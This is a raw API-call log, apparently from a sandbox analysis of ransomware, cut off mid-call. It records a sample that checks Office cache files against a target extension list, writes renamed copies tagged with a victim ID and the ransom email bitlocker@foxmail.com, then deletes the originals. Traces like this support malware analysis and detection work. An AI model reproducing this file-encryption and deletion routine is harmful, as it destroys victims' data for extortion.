CloseHandle (hObject=0x1b8) returned 1 [0044.911] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.911] SetEndOfFile (hFile=0x1b4) returned 1 [0044.912] CloseHandle (hObject=0x1b4) returned 1 [0044.912] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.912] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0044.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.912] lstrlenW (lpString=".doc") returned 4 [0044.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.912] lstrlenW (lpString=".docx") returned 5 [0044.912] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.912] lstrlenW (lpString=".pdf") returned 4 [0044.913] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString=".xls") returned 4 [0044.913] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString=".xlsx") returned 5 [0044.913] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.913] lstrlenW (lpString=".ppt") returned 4 [0044.913] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.913] lstrlenW (lpString=".zip") returned 4 [0044.913] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.913] lstrlenW (lpString=".rar") returned 4 [0044.913] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString=".bz2") returned 4 [0044.913] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString=".7z") returned 3 [0044.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.913] lstrlenW (lpString=".dbf") returned 4 [0044.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.913] lstrlenW (lpString=".1cd") returned 4 [0044.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.913] lstrlenW (lpString=".jpg") returned 4 [0044.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.913] lstrlenW (lpString=".doc") returned 4 [0044.913] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.913] lstrlenW (lpString=".docx") returned 5 [0044.913] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.914] lstrlenW (lpString=".pdf") returned 4 [0044.914] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString=".xls") returned 4 [0044.914] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString=".xlsx") returned 5 [0044.914] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.914] lstrlenW (lpString=".ppt") returned 4 [0044.914] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.914] lstrlenW (lpString=".zip") returned 4 [0044.914] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.914] lstrlenW (lpString=".rar") returned 4 [0044.914] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString=".bz2") returned 4 [0044.914] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString=".7z") returned 3 [0044.914] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.914] lstrlenW (lpString=".dbf") returned 4 [0044.914] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.914] lstrlenW (lpString=".1cd") returned 4 [0044.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0044.914] lstrlenW (lpString=".jpg") returned 4 [0044.914] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.914] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.914] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0044.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.915] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1606) returned 1 [0044.915] CloseHandle (hObject=0x1b4) returned 1 [0044.915] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0044.915] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.915] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.915] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.915] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0044.916] GetLastError () returned 0x0 [0044.916] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x646, lpOverlapped=0x0) returned 1 [0044.917] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x650, lpOverlapped=0x0) returned 1 [0044.918] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.918] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.918] SetEndOfFile (hFile=0x1b8) returned 1 [0044.918] CloseHandle (hObject=0x1b8) returned 1 [0044.919] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.919] SetEndOfFile (hFile=0x1b4) returned 1 [0044.920] CloseHandle (hObject=0x1b4) returned 1 [0044.920] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.920] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0044.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.920] lstrlenW (lpString=".doc") returned 4 [0044.920] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.920] lstrlenW (lpString=".docx") returned 5 [0044.920] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.920] lstrlenW (lpString=".pdf") returned 4 [0044.920] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.920] lstrlenW (lpString=".xls") returned 4 [0044.920] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.920] lstrlenW (lpString=".xlsx") returned 5 [0044.920] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.920] lstrlenW (lpString=".ppt") returned 4 [0044.921] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString=".zip") returned 4 [0044.921] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.921] lstrlenW (lpString=".rar") returned 4 [0044.921] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString=".bz2") returned 4 [0044.921] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString=".7z") returned 3 [0044.921] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString=".dbf") returned 4 [0044.921] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString=".1cd") returned 4 [0044.921] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString=".jpg") returned 4 [0044.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString=".doc") returned 4 [0044.921] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString=".docx") returned 5 [0044.921] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.921] lstrlenW (lpString=".pdf") returned 4 [0044.921] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString=".xls") returned 4 [0044.921] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString=".xlsx") returned 5 [0044.921] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.921] lstrlenW (lpString=".ppt") returned 4 [0044.921] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.921] lstrlenW (lpString=".zip") returned 4 [0044.921] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.921] lstrlenW (lpString=".rar") returned 4 [0044.922] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.922] lstrlenW (lpString=".bz2") returned 4 [0044.922] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.922] lstrlenW (lpString=".7z") returned 3 [0044.922] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.922] lstrlenW (lpString=".dbf") returned 4 [0044.922] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.922] lstrlenW (lpString=".1cd") returned 4 [0044.922] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0044.922] lstrlenW (lpString=".jpg") returned 4 [0044.922] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.922] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.922] lstrlenW (lpString="Setup.xml") returned 9 [0044.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0045.248] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1988) returned 1 [0045.248] CloseHandle (hObject=0x188) returned 1 [0045.248] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.248] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0045.248] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.248] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0045.248] GetLastError () returned 0x0 [0045.248] ReadFile (in: hFile=0x188, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0045.250] WriteFile (in: hFile=0x1b0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0045.251] ReadFile (in: hFile=0x188, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.251] WriteFile (in: hFile=0x1b0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.251] SetEndOfFile (hFile=0x1b0) returned 1 [0045.251] CloseHandle (hObject=0x1b0) returned 1 [0045.252] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.252] SetEndOfFile (hFile=0x188) returned 1 [0045.252] CloseHandle (hObject=0x188) returned 1 [0045.252] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.253] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.253] lstrlenW (lpString=".doc") returned 4 [0045.253] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.253] lstrlenW (lpString=".docx") returned 5 [0045.253] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.253] lstrlenW (lpString=".pdf") returned 4 [0045.253] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.253] lstrlenW (lpString=".xls") returned 4 [0045.253] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.253] lstrlenW (lpString=".xlsx") returned 5 [0045.253] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.253] lstrlenW (lpString=".ppt") returned 4 [0045.253] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.253] lstrlenW (lpString=".zip") returned 4 [0045.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.253] lstrlenW (lpString=".rar") returned 4 [0045.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.253] lstrlenW (lpString=".bz2") returned 4 [0045.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.253] lstrlenW (lpString=".7z") returned 3 [0045.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.253] lstrlenW (lpString=".dbf") returned 4 [0045.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString=".1cd") returned 4 [0045.254] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString=".jpg") returned 4 [0045.254] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString=".doc") returned 4 [0045.254] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString=".docx") returned 5 [0045.254] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.254] lstrlenW (lpString=".pdf") returned 4 [0045.254] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString=".xls") returned 4 [0045.254] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString=".xlsx") returned 5 [0045.254] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.254] lstrlenW (lpString=".ppt") returned 4 [0045.254] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString=".zip") returned 4 [0045.254] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.254] lstrlenW (lpString=".rar") returned 4 [0045.254] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString=".bz2") returned 4 [0045.254] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString=".7z") returned 3 [0045.254] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString=".dbf") returned 4 [0045.254] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.254] lstrlenW (lpString=".1cd") returned 4 [0045.254] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.255] lstrlenW (lpString=".jpg") returned 4 [0045.255] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.255] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.255] lstrlenW (lpString="Setup.xml") returned 9 [0045.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.567] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1452) returned 1 [0045.567] CloseHandle (hObject=0x170) returned 1 [0045.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.567] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.567] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.567] GetLastError () returned 0x0 [0045.567] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0045.572] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0045.573] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, 